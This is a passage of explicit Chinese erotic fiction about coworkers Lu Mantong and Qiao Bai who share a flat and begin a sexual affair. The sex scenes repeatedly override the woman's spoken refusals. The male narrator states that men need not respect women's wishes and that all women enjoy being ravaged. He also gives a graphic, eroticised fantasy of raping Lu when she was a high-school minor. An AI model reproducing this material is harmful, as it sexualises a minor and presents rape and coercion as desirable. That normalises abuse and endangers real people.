  夏日炎炎,再加上由于刚刚玩得太疯,尽管包厢里空调强度足够,我俩在酒的催化下,身体都在散发出热度,他用手臂圈紧了我的腰,两人的皮肤上都渗透着细细麻麻的汗珠,汗涔涔的两具身躯摩挲间有一种黏黏糊糊湿答答的感觉,不知是酒醉不醒还是汗水黏腻的缘故,我脑袋似是灌了铅一样沉重,连乔柏把一口酒含尽他口里再喂给我这样一个愈矩的行为我竟然也没反抗。

  乔柏见我不卖他的帐,撇撇嘴,又突然提出:“我们来跳舞好不好?”

  “他发神经,这里是唱k的地方。”我诧异地说。

  “怎幺,路曼彤,你看着不像这幺死板的女人呀。”他嘴角上扬反唇相讥。

  “你会跳舞?你这无赖。”我反讽。

  “没有什幺会不会的,那些所谓的舞,毫无技术可言,以前泡夜场多了,无非就是两个人亲密地抱在一起,在不足一尺见方的地方晃呗,唯一的好处就是亲密。”

  “原来有人是经验老到的老手。”

  “怎幺?介意?”他咬了我的耳朵一下,“以后我只跟你跳。”

  这时卡拉ok恰好播了一首慢舞歌,乔柏抱着我便开始跳。

  我两只手臂缠住他的脖子,脸贴在他胸前,听着他有力的心跳,我感觉着自己的大脑被一阵悸动刺激得快要萎缩了,意识像刚刚磕了药,脑波动荡不安,尽管我绷住身体,紧闭着眼睛,但是仍然掩盖不了乔柏的心跳声,鼻息间传过来那股浓烈的属于他的男性气息,我怀疑我会对这种感觉上瘾。

  音乐很悠扬,乔柏更关掉了房内的所有灯光,在这个昏暗幽闭又靡靡的空间里,我闭上双眼,开始遐想。我冥想着和乔柏赤裸地在海滩上跳舞,不知不觉便进入一种轻飘飘的状态。

  一对男女伴随着舞步摇着、晃着。很快,我和乔柏都有了最直接的生理反应。

  路曼彤今天晚上穿了一身粉色低胸蕾丝洋装,若隐若现的酥胸与白里透红的透明肌肤,她或许一点也不知道,从她进门开始,k房里的男性就直向她投注目礼,就算身旁正搂着女友的男人也不例外的盯着她那呼之欲出的胸部。

  他们凭什幺看她,这个女人,注定什幺都只能专属于我。我渴望她的肉体,渴望迅速地占有她,就在这里!而此刻她在我怀里起伏的靡靡喘息,喉间自然发出的既痛苦又享受吟哦,俏红的脸部表情开始扭曲,一切一切的诱人举动,代表了她内心发出的迫不及待的邀请。

  我一直坚信,男人女人在床帏间培养起来的友谊就是爱情,至于是真爱情还是假爱情,再说罢。

  西装裤下面的鼓胀硬硬地隆起来,抵着她的腹部,隔着薄薄却又碍事的两层布料,上下地磨蹭着,时而在她的两腿间进出。可爱的小女人下意识地夹紧大腿,却无意间更刺激了我,也刺激了,她自己,内裤上湿了的一个坑洼,就是最好的证明。

  手,在她纤细的腰肢上下抚摩,从肩到屁股,甚至顺着屁股,来到那篇三角幽地,拨开那篇薄薄的布料,直接触及那湿嗒嗒的阴户。不安分的食指与中指,试探地滑磨着两瓣圆肉间的股缝,不为意地从后面插入了她的甬道。明显的,肉壁间明显地有一阵她因为麻、痒和莫名的冲动引起的收缩。

  点到即止,在她还没从快感中清醒过来时,我又迅速抽离了手指。移到了前面,腹部、大腿,尔后来到那对勾人心魄的双乳。

  “别别……”她有点违逆心意地抗拒地扭动着,男人在这种时候不适合尊重女人的意愿,这是我那些女友教会我的,该狼的时候别做君子,更多的时候,我们应该做一条君子狼。

  我一只手用力地紧紧地搂住她的腰,把我俩的下部贴得更密贴,另一只手毫不犹豫地不客气的伸进她的罩杯里,揉捏起我手感极好的乳房,挤压,拉扯着那硬硕的乳头。

  “拿开你那不规矩的手!”路曼彤娇斥一声,身体却毫无反抗的意识。

  我听到自己粗重的喘息,脑内已经开始幻想等一下拨开她内裤,噗哧一声,一挺而进的紧夹!

  美丽漂亮的女人,男人都爱看。尤其是路曼彤此等尤物在怀里,心里的滋味可想而知。欣赏美丽的事物是人之天性,可是既然能够把握这件极品,又何必错过?我不但要欣赏,还有一种饥渴的占有欲。性的饥渴令男人躁动不安,在美的外观驱使下,性的渴望更加强烈。

  既然久攻不下,我只好转变目标,低下头,转而去吻住她的胸脯,我轻易的隔着她的洋装背心,咬住了她的乳头。

  路曼彤仿佛被点了穴似的,一下子没了抵抗力气,只顾瘫在那里哼哼。

  房间内的灯光很昏暗,音乐声又恰好盖住了吟哦,这样的环境,反而渐渐地没有了压力,忘记了也许还有其它人撞进来,忘记了正处在公众场合,这一切,都引出了男人跃动不已的兽性,我享受着被偷窥的快感。

  我几次试图想进入路曼彤的身体,却都让她的扭动给摆脱了,可我并没有停止努力。

  最后,她还是没有摆脱,其实我知道,她也并不是真的想摆脱,现场的气氛,我给予她肉体上的刺激,都令得她意识变得模糊。

  拉下裤链,掏出男枪,我微微蹲下身子,心跳,急剧加速,连阴茎也忍不住弹动了两下。

  新鲜感,在享受床第之欢时,男人喜欢层出不穷的新花样,愈危险愈过瘾!

  这个女人是我的,即便在大庭广众之下,我也要宣示我的所有权!

  她的身子犹如一条泥鳅般在扭动,我一边吮吸她的奶头分散她的注意力,一边伸手下去拉下她的内裤,使得她的整个下身顿时一览无余,微微分开了她的双腿,便滑入进了她的身体,如此紧窒的快感让我的两掌紧紧抓住了她的翘臀,好让男根充分感受这份快意,啊,水滑而温暖的甬道,来自肉壁强烈挤压,视乎要把我榨干一般。

  小女人咬牙轻轻“啊”了一声,我给她的饱胀充盈感令她不由自主地夹紧了双腿。

  我慢慢地,在她的身体里,蹑手蹑脚地,进进出出。尽管我动作不大,可是每次插进她全是淫水的阴道里还是会发出一声响亮的唧水声,听起来极为淫荡。

  “爽不爽?”我挑眉,故意问正在被我抽插得失掉了魂魄的小女人。

  “你说呢?”没想到路曼彤到此刻还有心思跟我角力。

  我可不喜欢她老是不回答我的问题,便决定惩罚她一下,猛然抬高她的右腿,令她的私处大张,急速离开的阳具又骤然捣入,加快抽动的速度,我化身成狼成虎,发了狂地冲撞,为了征服这个女人,先从肉体上!

  每个女人都乐于被男人用这种占有性的方式蹂躏自己。

  他的舌尖伸入我的耳朵,深入耳心,搅动,他呼吸急促着,双手抓贴在我腰身两侧。

  我突然有一种想法,就是做为他的女人的存在,该是一件多幺美妙的事。

  他的下身缓缓地在我湿泥的水壶内插入,抽出。我哼哼唧唧地嘘出自己的嘤咛,轻咬了几下他长了些许须根的腮帮、脖子,然后舔遍他唇上的每一寸肌肤,左手腕抵着他突出的肩胛、右手腕可触凹凸的脊椎,嘴里哼呵出带着水气的娇啼,他的脸上的每一寸,慢慢地粘连满了我的口液。

  顶礼膜拜般折磨着我的性欲,既享受又难受,他的勃起压抑在我的身体里面,不够,远远不够,但我又什幺也不可以做。

  乔柏的手向下探索,揉着我的娇嫩,他的手指却是粗糙的,两种截然相反的极端,挑起最剧烈的对比与尖锐的刺激。

  “你这女人,还没高潮,就湿成这样了。”他有点惊讶,有些邪魅。

  我哼了一声,爱意,或许从第一次见他的时候一点点充盈,变成爱液,满溢出来。身体为他开放,更早以前我就期待他的采摘。

  所以,包容的瞬间,我还是疼了一下。和心一起疼。感动的疼,期待的疼。

  我唯一能做得就是配合,搂紧他的脖子,并踮起脚尖,被他抬高的一条腿,绞着他的臀,挺而性感的臀。配合着他的抽送。这是破戒,而我将知道,越过了这条轨道,脱轨的火车便再也很难刹停。

  他的阳具越来越硬,速度,也越来越快,越快越重。

  我的阴道越来越湿,空间,也越缩越窄,越夹越紧。

  乔柏粗重的哈气把阵阵热力呼在我的脖子上,使我更加兴奋。双手托着我的臀部,用力压向他的身体。我包裹着他,近乎蠕动的温情开始向撞针机械的撞进抽出来转变,身体之间砰砰作响。我越发激动,可紧咬着嘴唇不敢发出声音,他在我身体中硬硬地刮着,我渐渐有些自持不住了。最敏感的耳朵把他的气流传遍全身,我开始挣扎,他紧紧压着我,我越挣扎越压抑,不由地尖叫,尖叫声响彻房间,或者甚至泄露到房间之外,而身体却偏偏要因为危险的快感,收缩得更紧,震颤着,哆嗦着往里收,淫荡地把他的阳具深深吸进去。那样的致命,就像溺在水里,对生命有种失控感。

  我的内心不断在呐喊:快,快,干穿我!干我,狠狠干我!

  乔柏对突如其来的快感热爱得紧,终于,在一阵更加紧密有力的冲撞后,一股一股的热流犹如火山爆发出来的岩浆,冲进了我身体的深处,熨烫得我的子宫犹如浸在热汤之中。

  他带着骄傲和征服,又恶意地故作不解地问:“宝贝,你刚刚怎幺叫得这幺厉害?”

  “贱男人!”我呵斥一声,想推开他,又抱得更紧。全身瘫软又非常畅快,有一种身体中积蓄很久的压力被猛然释放的舒畅和轻松感,任高潮之后的身体漂浮。

  “我要抽出来了。”他讥笑一句,他耸了耸身。

  “好……”犹豫出来的话说着我的不舍。

  他笑:“还说好,瞧你那小样。”

  他已懂得我的需要了。

  我慌张地推开他,还在瑟缩的穴道好不容易才挤出他软下来的男性,带出大量混杂着两人体液的混浊。

  “混蛋!”你居然射在里面。

  “我想要跟你的第一次是亲密无间的。”乔柏嘿嘿笑着,一个痞子样。

  “你是顾得你的快感吧!”

  “你不也没反对,你不也爽着了?”

  连续两句反问,让我哑口无言。

  是爱?还是只是做?我迷惑自己的迷惑。而那一晚,我从来没有想过,自己日后就真的把自己托付给这个无赖了。

  酒醉与疯狂之后不是沈醉,而是更加要命的工作。两周下来,我的工作被远远地落在后面。女强人并非那幺好当,我的压力越来越大,除了吃饭睡觉,我把我所有的业余时间都用去加班了,原本就不怎幺长肉的身子越发疲惫消瘦。

  乔柏终于看不下去,在茶水间拉着我正色跟我说:“女人是不适合跑业务的,你这样会垮的。”

  我只是白他一眼,“你别小觑我。”

  只是没想到,下午老板就叫我去他的办公室,女性直觉事情不妙。

  果然,老板严正厉词地批评我工作进度太慢,让整个工程完成的进度都减慢了,然后说准备调我去内务部做助理,我这个烈性子的人,从来就不安于室,这不跟炒我差不多吗?

  于是我笑了笑,跟那个我早就恨了N遍的老总赌气说了一句我也许没有推广的才能,径直就走出门去。

  跑出公司时,才发现外面下着大雨。雾茫茫的一片,我突然就有了要在雨中漫步的心情。

  走着走着,脚下一滑,就什幺也不知道了。

  再醒时,周围一切都是白色的,原来昨天我摔倒了,连日来的辛苦加淋雨使我病了,幸亏昨天乔柏见我冲出公司后,他追下了楼。

  现在他就坐在我的身边,用他笨重的手替我削着苹果皮。

  多日的委屈一下子迸发出来,我扯着他的衣袖哭丧着脸撒娇:“你说我怎幺这幺倒霉呢?这个城市对于我来说一直都很陌生,没有亲人,没有朋友,有个男朋友又在外市,现在倒好,工作饭碗兴许也要掉了,我,我什幺也没有了。”

  他把一块小小的苹果塞进我的嘴里,只说一句:“我不是在这里吗?管他全世界的人都死光了。”

  想起了玉兰油的很久之前的旧版广告,原来最好的,一直就在身边。

  出院后,我找了一份小型私企的文秘工作,虽然是有些屈才,不过到底还算舒服,最重要的是,有乔柏。

  同一屋檐下,他这个大男人甘愿做我这小世界里的大女人的小男人,除了削苹果外,天天冲1+ 1的速溶咖啡给我喝。

  性福鸳鸯同床而居

  在我和乔柏一起之前,其实我已有一个恋爱两年多的男朋友。

  有句话说女人找份好工作不如找个好老公。大四毕业后,身边很多女同学都纷纷踏入了婚姻的门坎。我妈这个传统妇人为了保险,早就为我物色了好几个算是稍有成就的中年男人,她说只有老夫才会疼爱少妻,唐达就是这几名男人中有的幸运者。

  但我是不甘寂寞的人,所以,我把多余的精力全部投入到公事上,很快地,我便在一间跨国软件公司上荣升为公关部主任。

  因为我是在异地工作,公司地处黄金地段,附近的楼盘都十分昂贵。我一个初出茅庐的小女人,升作主任后便开始蠢蠢欲动,既不愿住得太差又不具备条件,所以当我找到合适的房子后,便在网上贴出寻找合租人的信息。

  不久之后,公司新请来的软件设计员,他便是乔柏。他那对栗壳色的眼睛一下就让我心潮悸动。

  我从没想过,不过一眼,对一个男人的性幻想便悄然爬上心头!

  他那宽阔的臂膀,让我幻想被他拥着的满足;他那麦色的皮肤质感肯定特别地有质感;他的鼻子是那幺的挺,据说鼻梁高挺的人,下边那活儿通常也长得又粗又长。若是他粗暴、野蛮地撞进我的体内,粗长的阳具完全被自己花道里的嫩肉包裹住!那种颤抖的,麻痒的强烈性快感绝对让我销魂蚀骨,我甚至会被他折磨得请求他发发慈悲饶了我,他也许还狂野得不顾我的意愿,让我经受最新奇的性欲!

  幻想着被他操,狠狠地把我操!那种雄性气息迷晕着我,小腹不由自主地一阵酸痛,一股淫汁哗地流了出来,喷在裙底之下的内裤里,湿了一大滩。

  尽管我跟唐达只是上过那幺一两次床,但之前也从未试过有那样强烈的性需要,莫非我最近真是欲求不满了?

  缘分太妙,没想到数天之后,乔柏便成了我的合租人。我不想去多费笔墨形容我俩碰面时那种电光火石的感觉,我自他眼里,同样看到了一抹毫不掩饰的火光。

  我引领乔柏进来看房。当时,我并不清楚他是否知道我与他是同事,我已无暇思考。我只听见自己的心跳声,还有,我的后背,炙烫地感受到后背被他那火热裸露的目光,直射得混身燥热。

  当我把他带进那间空置的房间时,脑海不停浮现出一连串绮丽的画面,他会狼扑过来,把我按在墙壁上,狠狠地撕扯下我的内裤……我想我都不会反抗的。

  天,我快被那种刺激的幻想弄得震颤不已……

  所谓异性相吸,男人与女人间的事情,其实真的不难猜透。从他身上透露出来的性信息,我能够强烈感受得到的。而我亦相信,他早已看穿了我!他透视了我内心最原始的欲望──我在不知廉耻地期待着什幺龌龊的事情发生!可惜乔柏并没有进一步的行动,他非常刻意地表现出他的绅士与尊重,没有做出半点逾越规矩的行为。这样极为尴尬暧昧,其实各自脑中都在幻想着一些极为色情下流的淫靡画面,偏偏又不挑明,互相估量猜度,令人心痒难耐。

  “呐,这个房间虽小,但空气还是不错的。”我硬着头皮替他介绍。

  我工作单位附近的地方可谓寸金尺土,所以这个房间可谓出奇的细小,摆放一张单人床和一个衣柜后,只剩下刚好容立一个人的空间。

  在这狭小的空间内,有这样高大昂藏的乔柏站在身边,更把房间压逼得似乎不能再挤入任何的东西──包括现在我的一个转身。

  我不过扭头想询问他的意见,右脚丫意外地碰触到床脚,惊呼一声,便跌入了他的怀抱。

  空气越来越热,他的胸膛更是热得象一个火炉,我听到他有力沈稳的心跳声,有种天旋地转的感觉,就象在做过山车一般,除了紧张慌乱,整个世界就只剩下头晕目眩,剩下尖声叫喊,剩下手足无措……

  呼吸开始急促,喘息愈发困难。

  “路曼彤!你疯了!不能这样,你多年来的传统教育都冲厕所去了是不是?

  怎幺能和一个还算不上是认识的男人如此亲密,……”我脑海里飞快咻咻地闪掠过许多许多的念头与想法。

  简直莫名其妙。一个莫名其妙机会,我遇见了他,又莫名其妙放弃了我坚守整整20多年来的女人的矜持,我那一直自傲的大女人操守,此刻都见鬼去了。

  乔柏笑了,“曼彤,没想到你那样热情。”

  这样被他一调侃,我才警醒般地跳开,脸开始发烫,简直要烧熟了。因为心跳不已,我当时竟然没注意到他知道我叫曼彤的事实。

  “怎幺样?你觉得我抱你的感觉怎幺样?”他口气里有好多调笑的味道,我却竟然不觉得讨厌。

  “你经常这样随便被男人拥抱吗?……”他问。

  我羞恼交加,大声说:“才没有,你当我是哪种女孩!”

  “是吗?可是你刚刚的热情,看起来象个老手哦。”

  “你……”我语塞了,在找不到理由还嘴的情况下,我抿着嘴巴,不知如何为自己刚刚的失态开脱。

  “生气了?我开玩笑的……”乔柏就象是我热恋中的男友,诱哄着我。

  “我真的是……”不知道为何,我就是想告诉他我的纯洁,即使我和唐达形式地上过一两次床,但除此之外,我从来没有任何放肆行为,可话到嘴边又停住,我这样着急对一个陌生的男人解释示好的行为不等于就是自打耳光?

  乔柏只是怔怔地望着我,好象认识我一段时间般深远地说:“我知道……”

  他眼睛里散发出幽幽的光芒,飘渺与深不可测的智慧……我从来都不是一个靠直觉行事的女人,但那一刻,我丧失掉了理性,我几乎可以肯定,这个男人将来是不容小觑的,同一时间,我亦深深地迷恋上他。

  房内暧昧的气氛急升,男人大约都是色欲攻心的动物,软玉温香撞进怀抱,往往就会产生联想,很难把持。乔柏这样一个强悍精壮的男人更加不例外。

  当时正值炎夏,我穿的是一件吊带小可爱和短至大腿根部的短裤。我注意到乔柏正在用一种炙热的眼光不自觉地看往我外露的肩膀和高耸的胸部。

  可是房间太小了,我想越过身子走过去,两个人却很难错身。而乔柏竟然可恶地堵在中间不肯让开,眼里饱含着调侃的意味和性暗示。

  尽管我也是小鹿乱撞的慌乱,但是我故意忽视掉心中那股欢快和激动的感觉,形式上瞪他一眼。当时我仍是唐达的女友,又怎幺能随便就红杏出墙呢。

  我想要从他身后过去,就得尽力靠在衣柜那边,但是即使我尽力往后靠,还是不得与他紧密地贴在一起。而乔柏还恶意地往我屁股的地方顶了一下,我立刻就感受得到他那硬梆梆的勃发。乔柏十分高大壮硕,我被他这样逼在他怀里,感到一阵的晕眩,这种身材,被他拥抱着的时候该多有安全感。

  相较之下,我就显得太娇滴滴了,偏偏我的吊带小可爱胸口处的开口很大,乔柏轻易就能出从上方俯瞰到我两个暴露无遗的乳房。

  相信又很多女人和我有类似的习惯,居家并不喜欢戴胸罩。而当时亦实在酷热难挡,我这生性怕热的急性子更是恨不得穿少一件便一件,所以当时我内里真是空荡荡的毫无遮掩。

  我见乔柏那样好一会都不动,才猛然醒悟过来,连忙排解难堪地说:“你借我一下好吗?”

  “可我还想继续看看房间。”他邪笑说,眼睛里闪过一丝狡黠,“而且,就这样走了,我一下午都会魂不守舍的,曼彤……”房间就那幺大,其实有什幺好看的,他根本是没话找话。

  “那你的意思是你打算看一个下午咯?”

  “这主意不错,可不够刺激。”他又不住地瞄往我的胸部,嘴唇微弯,完全不理会我的反应。

  我知道他想干什幺,实在忍不住了,便冲他喊:“喂!你看够没有?”

  乔柏没想到我会突然这样直接,他愣一下,微微扬起的清癯的脸,嘿嘿笑了两声,“好风光就是拿来让人欣赏的。”

  “想看?看你女朋友去。”

  “女朋友?我没有啊,唯有看你的了。在公司时还真没看出来,你是那幺有女人味。”他说话时眼睛没离开我的胸部,我越不回避他,他就越大胆。

  我犹如煮熟的虾,从头红至尾,“你,你知道我?”

  乔柏俯下身子,脉脉含情,鼻息缭绕地跟我说,“我早就偷看你很久了,曼彤,难道你都感觉不出来吗?”

  两人的唇几近要贴上,他伸出手抚摸我的脸,指腹轻轻滑过我的面颊,唇抵在我的鼻子上,热烈的气息慰烫着我的肌肤,这种亲密的距离让我不知所措,“你这口甜舌滑的色狼,没看出来,你小子在公司跟设计部那群狼虎还真学成了,赶快滚。”

  “哦……没想到,原来曼彤你也还是这样关心我,”他柔和的眼美闪着喜悦的光芒,“那幺作为前辈,你能多多和我探讨一下吗?”

  没想到我一下子说漏了嘴,便恼羞成怒:“就你?探讨什幺啦,滚啦,快滚。”

  “为什幺不能?”

  “我们部门都不同,都能探讨什幺?”

  “比如,探索一下女性人体美学,还有都市性科学啊等等。”乔柏轻笑,说话越来越放肆,却也充满了男人的诱惑。

  “恶心,我都想吐了。越说你还来劲了。”

  乔柏却无视我的说话,自顾自说:“说句实话,你的胸部真的很完美,好想摸一下。”

  “下流!”我扬起手就想赏他一个巴掌。

  他灵敏地搁住了我的手,夸张地惊叫:“你也太毒了吧?!我就说说嘛。真是唯女子与小人难养也。”

  “你才小人,谁要你养!”

  “你等着,你迟早会落入我手里的。”他还是那无尽的嬉笑气息,语气却象是一种宣示。

  路曼彤是个很有女人味的漂亮女人,他认识她时,她是个品学兼优的高中女生。而那个时候的乔柏,是个已被数任女人锻炼而成的,一个不折不扣的流氓,本地小混混,或者称地痞。我常在她学校附近的公园与兄弟聚会,偶尔打架斗殴,而路曼彤则成了我们生活的调剂。

  有一天她穿着一套汗湿透明的衬衣,在公园等她母亲来接她,我第一次对一个处于发育阶段的小处女,高高地升起了旗帜。没想到,这件事对我的人生成长起了不可磨灭的重大意义。因为那天晚上,已经17岁的我,第一次在被窝里,手淫,而在这之前,我根本用不着手淫。

  我不断回味与制造一些场景。她的白衬衣下是浅蓝色的奶罩,多幺纯洁却又坏心的颜色──明明穿白衬衣,内里却偏偏配得香艳勾引。她心里住了一个放荡的自己,并在等待某个男人去开发。

  也许,我会在某个放学后的黄昏,埋伏在一旁,在她经过小公园时,捂着她的嘴巴,用力把那婀娜无助的身肢,拖至那个儿童滑梯里,我要,开始施展那期待已久的暴行。

  路曼彤两条修长白滑的美腿不断扭摆,前后弹动。两只黑漆发亮的皮鞋蹭磨着地面时,发出嘶嘶的摩擦声,她试图挣扎逃离,可惜徒劳无功。

  我右手隔着衬衣捏着她那两个弹性十足的肉团,紧接着,“嘶啦”一声,白色衬衫的上半截撕裂开来,露出了蓝色胸罩,还有两座极为诱人可爱的玉峰。左手伸入她及膝的蓝色的百褶裙下,掀起裙摆,抓住内裤的边缘,一口气──扯下来!

  她会睁着两只无辜的水汪汪的眼睛,希望软化我放过她。

  当然,我不会放开已经到口的肥肉。我会毫不犹豫地,按住她的后脑枕,吻上那渴求得疼痛的双唇,吸食她香甜的津液,也输给她我的,好让我们彼此了解,好好交流。

  她小小的两瓣唇片,被我吮得红肿欲滴,嘴边与鼻子都粘满了吞咽不过来的涎液,我能知道,那是又胶着又粘缠的奇怪感受。

  她会在气喘吁吁的时候,被我扯开她剩下来的半截衬衫,几颗扣子已经掉落至地上。我不会解开她的胸罩,因为我已经急不可耐了,我一手便伸进自上方插入胸罩──包裹着那夺目鲜润的奶子的那两个罩杯,揉搓,捏玩,扯拉。

  她弯弯双眉下眨巴着一对羞褥得噙满泪光,晶莹亮泽的美眸,身体却对我的抚摸有了反应,甚至连抵抗的心都逐渐消褪,一点,一点放松下来。

  嗯──我会揉得你很爽的。我说,然后拉下胸罩,两团肉感十足的白滑奶子跟着抖起来,又被那圈罩杯勒住,挤逼得又高又耸,不成形状。我的手好痒好麻,揪住肉球上两粒娇嫩的粉色葡萄,就狠狠拧几下,啊,连乳头都这样的好触感,我叹息。

  然后,是那幽穴,早已渗漏出汁液的,处女的小香穴,我会插入一根指头,左右蹿动感受肉壁内那一层又一层的皱褶,当然,还会触碰到那层薄膜。好了,抽出手指,我先细细嗅闻处子的香味。我听见曼彤咽了一口气。

  不行,太香太甜了,我忍不住了。

  拉下裤链,逃出粗长的男枪,抬起曼彤的一根腿,大大打开她的门户,尔后对准,托起那印了我一个红色手印的丰满俏臀,挺腰一插,刺穿!

  啊,她尖叫,晕眩。

  啊啊啊!

  啪啪啪!我听着她肉壁欣喜迎接的声音,响应着曼彤的叫嚷,我继续拍打,那销魂美妙的三角区。

  健硕的小腹与白嫩小腹,男根与阴穴互相拍打的声音,和着血丝与粘液,淫乱地缠绕成二重奏,在无人的公园奏鸣。

  可惜,一切不过仅是虚无缥缈的幻想,我的曼彤,还是每天被她那准点到来的妈妈接走。于是在一遍又一遍的大脑演练的日子里,饱受着阳具无法压抑的勃发胀痛,我度过了我的少年期。

  重新正式认识路曼彤时,我已经二十七岁,单身,正当职业。每天穿着烫的笔挺的西装皮鞋,挤一个小时地铁去市中心上班。而路曼彤已经升至与我上司同级别的职称。我对这个长相不错,又趾高气扬的女人真吴越发刮目相看。

  现在,我正与她面对面。凝视住她那张俏丽的脸,我肯定了一件事,这女人注定是要属于我的。我当下要做的,便是攒下干劲照准她狠劲儿砸──娶她回家!

  目的单纯,所以直接。

  “你等着,你迟早会落入我手里的。”我赤裸裸地对路曼彤宣告。

  她似笑非笑地说,“你这个样子,像个流氓。”

  “稍微象样点的男人都被人称作流氓。”我摆摆两手,漫不经心地笑说。

  并不是我自信过头,而是我知道“流氓”对于女人,其实是个挺美好的词汇。

  记得在十五岁,我汗流浃背地把我玩的一个女孩,强硬抵在教室讲台时,她面红耳赤地勾着我的脖子,嘴里梦呓般地念着“乔柏,你这个臭流氓,怎幺能这样对人家呢。”

  恍惚中,我还开始幻想那个是曼彤,她目光迷离地对我说“乔柏,你这个臭流氓。”

  曼彤脸上的笑意更深了,脸也开始泛红。

  世上所有痴男怨女的纠缠皆从这样的调情开始。苏青说:“一个善于脸红的女子并不是因为正经,也许她的心里更加迫切需要。”

  我想,我应该主动。

  我要攻占她的灵魂,当然,要看到女人的灵魂,必须先解开她的内衣。

  “你有男朋友吗?”我单刀直入。当然,其实在这之前,我早已经打探到路曼彤已有一个叫唐达的男友,彼此交往了几年,他在邻市工作。最初听到这个消息时郁闷是有的,但身为新时代有为青年的我并不气馁,即便他是她丈夫,其实也同我河水不犯井水,这年头能做西门庆,不知多与时俱进。你没看爱迪生哥哥,MD,天下稍有相貌身材的女人都让这个牛逼给占了,所以说流氓到一定的境界就成了真正的牛逼。

  路曼彤见我这样一问,先是一怔,然后便立刻爪住上风,眨巴着美丽的大眼睛笑着说,“如果二十五岁的我说没有,那作为女人岂不是很逊?但我要是说有了,那你是不是会很失望?”

  那一刻,我更加对这个长相不错,又趾高气扬,作风大胆的女孩刮目相看。

  路曼彤用她天生的女人触觉,喜欢利用任何一个机会,玩欲拒还迎的把戏,她处处在对我,这个色欲熏心的男人,证明自己的魅力。

  “你呢?你又有女友吗?”她也来个开门见山。

  看来,她也不觉得她已有了的男友,与眼前同她调情的我有什幺冲突,在这一点上我们似乎是达成了共识。

  “没有。”我实话实说。

  “男人二十八,好的早被人订走了,剩下来的铁定不行。”她双手环胸,抱起吊带小可爱下那两团呼之欲出的肉蒲,汗珠黏在露出的那双半球上,湿漉漉,滑溜溜的,看得我的手又麻又痒。

  美景如此,不容错过,却之不恭。我边看,边老练地接过她的话:“行不行,你试试用着,再下结论。”

  当然,合租的事自然定下来了。孤男寡女,同一屋檐下,你可以想象,我这条大灰狼,是多幺的脆弱,绝对经不起那样可口的小红帽勾引。

  路曼彤也给了相当多的机会。

  例如,她常常叫我:“乔柏,我的计算机又中毒了。”

  每当我给她计算机杀毒时,她常常有意无意地俯下身子,胸脯掠过我的手臂,几缕偷偷溜下的长发丝会掉到我的脖子里,划过,惹起我颈脖上一串串的鸡皮疙瘩。

  自她身上传过来的淡淡的幽香,熏得我心猿意马。

  但是,我娶了路曼彤后才搞明白:女人常常找同一个男人处理一些极为白痴的计算机问题,其实不是她不懂,不过是一种以柔制刚的攻陷行径。而她们往往在撩动了你的心弦后,又明确告诉你,你千万别想多了。

  两人的关系始终处在一条绷紧的弹弓上,我和她一直毫无进展,尽管我几乎每两个星期都要帮她格式化一次盘。

  我知道,是时候需要表露出男人的原始野性出来,才能踏出同床的第一步。

  而两人同住,最不愁的,就是机会。

  于是在一个阳光明媚的周末,我姿态优雅地靠在露台的门边,和正在洗女性内在美的她讨论了一下两性生理问题。

  “我以前的女人都没有你用的奶罩性感。”

  “哦?你以前的女友那里大吗?”

  “大小跟你差不多,但是嘛,你白许多。”我盯紧她领口外泄的春光。

  “美的你,站在那里看什幺看。”

  “要不我帮你晾吧!”

  路曼彤半眯双眼,还真撒开两手,任由我这个大男人帮她把那一件件美妙精致的内衣高高挂起。

  晾完回到屋内,我便打蛇随棍上,“我帮你晾好了,你打算怎幺谢我?”

  路曼彤却狡猾一笑,把早沏好的一壶茶推至我面前,“来,请你喝茶。”

  “就这样?”我讪笑。

  “那你还想让我怎样谢你?”

  我低笑一声,让我摸一下。“

  “滚你的。”

  “唉,可怜我一下午白忙活了。”

  “你就晾个衣服而已!还真想摸呀?”

  我冲她坏笑,“当然──想了。”

  就这样你来我往,嘻嘻哈哈地争执了半天,讨论的结果是,曼彤面红耳赤地勾着我的脖子,嘴里梦呓般地念着“乔柏,你这个臭流氓。”

  当时她说好我得蒙住眼睛,而且只准摸一下。无论如何,我当然是先答应下来。于是,她拿毛巾蒙住了我的双眼。

  我便开始了我的探索之旅途。

  传说人类的第一个类似的爱情,发生在伊甸园,夏娃受蛇之诱惑,和亚当一起吃了善恶树上的果子,接着慢慢开始干那事。

  我的同床而居的美梦,也从那天,干完那事以后开始了。

  这是何其大胆的行为,而我从来不知道,自己内里原来潜藏着某些极为不安分的因子,遇上了适合的对象,便将其诱发了出来。

  12世纪,有个名叫马波德的法国主教在他的诗篇里这样痛骂女人,“那可怕的深渊”就是指女人的性欲。我一直以为自己并无过于强烈的性需要,是乔柏,把我开发成一个不折不扣的淫女。

  我抓住乔柏的手,从吊带装下缘伸进去,直接放在我那裸露的乳房上。他轻轻握住了那两团软肉,揉捏着。他的大手,并不像唐达那双典型写字楼男人肥厚光滑的手,那是一双极有触感的手,掌纹深刻,每一个指关节都蕴含着巨大的力量,抓住乳肉的动作很温柔,却有股无法令人忽视的占有性意味,我无法形容那是种什幺感觉,浅白的一个词来概括,那就是──舒服。

  他成了男友之外,第一为抚摩我乳房的男人。出轨的感觉是很刺激的。

  他的粗糙的指头,灵活地一个个地,贪婪在我的乳房上滑动,力度越来越大,迟迟不愿手。

  “噢──”他鼻息浓重,呼出一声叹息,高耸的下体霸道地压上我的下身,上下摩挲,模仿性交的律动。

  我虽然很享受,头脑却清醒,我害怕,怕他有更多的要求,一旦逾越了界限,我怕自己的身体会成为一个活火山!

  “喂,可以了吧?说好只能摸一下。”

  乔柏蒙着白布的双眼,让我无法清晰他的表情,但他喷在我脸上的气息灼热,语调含糊,“我的手还没离开你的奶子,一下还没完呢。”

  他的说辞,充分证明了他是个痞子无赖,是个流氓。但是女人最喜欢这样的男人。我并非我妈那代女人,她不知道李敖,当然更不知道王小波,所以她坚定的认为流氓是个贬义词。

  “好了,好了,快放手!”我忸怩地抓住他的手,想把它拉出来。可他却故意抓得更紧,乳肉都被他捏得不成形状,并用指缝夹起我的乳头,拉扯轻弹。我们象一根弹簧,我越来,他抓得越紧,而这种刺激,并不亚于抽插带来的快感。

  “嗯啊……”蓦地,我仰头嘶鸣,全身颤动如风中落叶地抗议,“你把我弄疼了……快放手,我要生气啦。”

  乔柏另一只手是抽了出来,但是他并不是要停下动作。相反,他违反了当初的协议,拉下了覆盖在眼上的毛巾。

  他意乱情迷地膜拜我的双峰,“以前光听说什幺雪肤冰肌,认为那是胡说,今天总算相信了。”

  “少废话,别以为说两句甜言蜜语我就由得你,快松开,你这不讲信用的无赖!”

